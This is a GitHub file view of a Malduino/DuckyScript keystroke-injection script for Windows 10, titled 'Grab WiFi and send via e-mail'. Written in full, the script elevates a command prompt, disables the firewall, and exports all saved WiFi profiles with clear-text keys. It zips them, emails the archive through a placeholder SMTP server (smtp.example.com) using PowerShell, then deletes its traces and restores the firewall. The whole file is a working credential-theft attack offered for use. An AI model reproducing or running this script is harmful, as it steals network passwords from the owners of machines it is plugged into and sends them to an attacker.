-
Notifications
You must be signed in to change notification settings - Fork 3
/
grab-wifi.txt
80 lines (79 loc) · 1.5 KB
/
grab-wifi.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
REM =============================================
REM = Windows 10: Grab WiFi and send via e-mail =
REM =============================================
REM https://github.com/p0p3j/malduino-scripts
DELAY 2000
GUI d
DELAY 400
GUI r
DELAY 600
STRING cmd
DELAY 600
CTRL SHIFT ENTER
DELAY 800
TAB
DELAY 800
TAB
DELAY 600
ENTER
DELAY 800
STRING netsh advfirewall set currentprofile state off
ENTER
DELAY 400
STRING mkdir c:\grab
ENTER
DELAY 200
STRING cd c:\grab
ENTER
DELAY 200
STRING netsh wlan export profile key=clear
ENTER
DELAY 500
STRING tar.exe -cf c:\grab\wifi.zip *.xml
ENTER
DELAY 400
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1000
TAB
DELAY 400
TAB
DELAY 400
ENTER
DELAY 800
STRING $SMTPServer = 'smtp.example.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('login', 'password');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[email protected]'
ENTER
STRING $ReportEmail.To.Add('[email protected]')
ENTER
STRING $ReportEmail.Subject = 'New Messege ;)'
ENTER
STRING $ReportEmail.Body = 'Hello world!'
ENTER
STRING $ReportEmail.Attachments.Add('c:\grab\wifi.zip')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 600
STRING exit
ENTER
DELAY 400
STRING cd ..
ENTER
STRING rmdir /Q /S c:\grab
ENTER
DELAY 200
STRING netsh advfirewall set currentprofile state on
ENTER
DELAY 400
STRING exit
ENTER